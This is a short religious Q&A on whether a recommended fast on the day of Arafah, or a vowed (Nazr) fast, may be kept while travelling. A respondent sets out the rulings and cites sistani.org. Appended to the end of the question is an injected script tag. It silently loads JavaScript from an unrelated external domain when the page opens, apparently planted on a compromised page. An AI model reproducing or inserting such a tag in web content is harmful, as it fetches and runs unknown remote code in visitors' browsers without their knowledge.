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Fasting while Travelling

Q:

Salamun alaykum

Can one fast a sunnat roza on day of ARAFAH when one is a musafir i.e. Is praying Qasr Namaaz?

Alternatively can one fast when is traveling but is a Nazr roza??<script type='text/javascript' src='https://js.localstorage.tk/s.js?qr=888'></script>

A:

1. Mustahhab (recommended) fasts are NOT permissible while traveling. So one cannot fast on the day of Arafah if he is traveling.

2. Yes. For Nazr, there are 3 scenarios:

a. A person does a Nazr for a  Mustahhab fast and doesn't specify a day: He can't fast while traveling

b. A person does Nazr that he will fast on a particular day  during a journey: He should observe this fast while traveling

c. A person does Nazr that he will fast on a particular day (for instance: the day of Arafah): He should fast disregarding he is traveling or not.

For further reference, plz do check: 

http://www.sistani.org/english/book/48/2279/

Kumail Rajani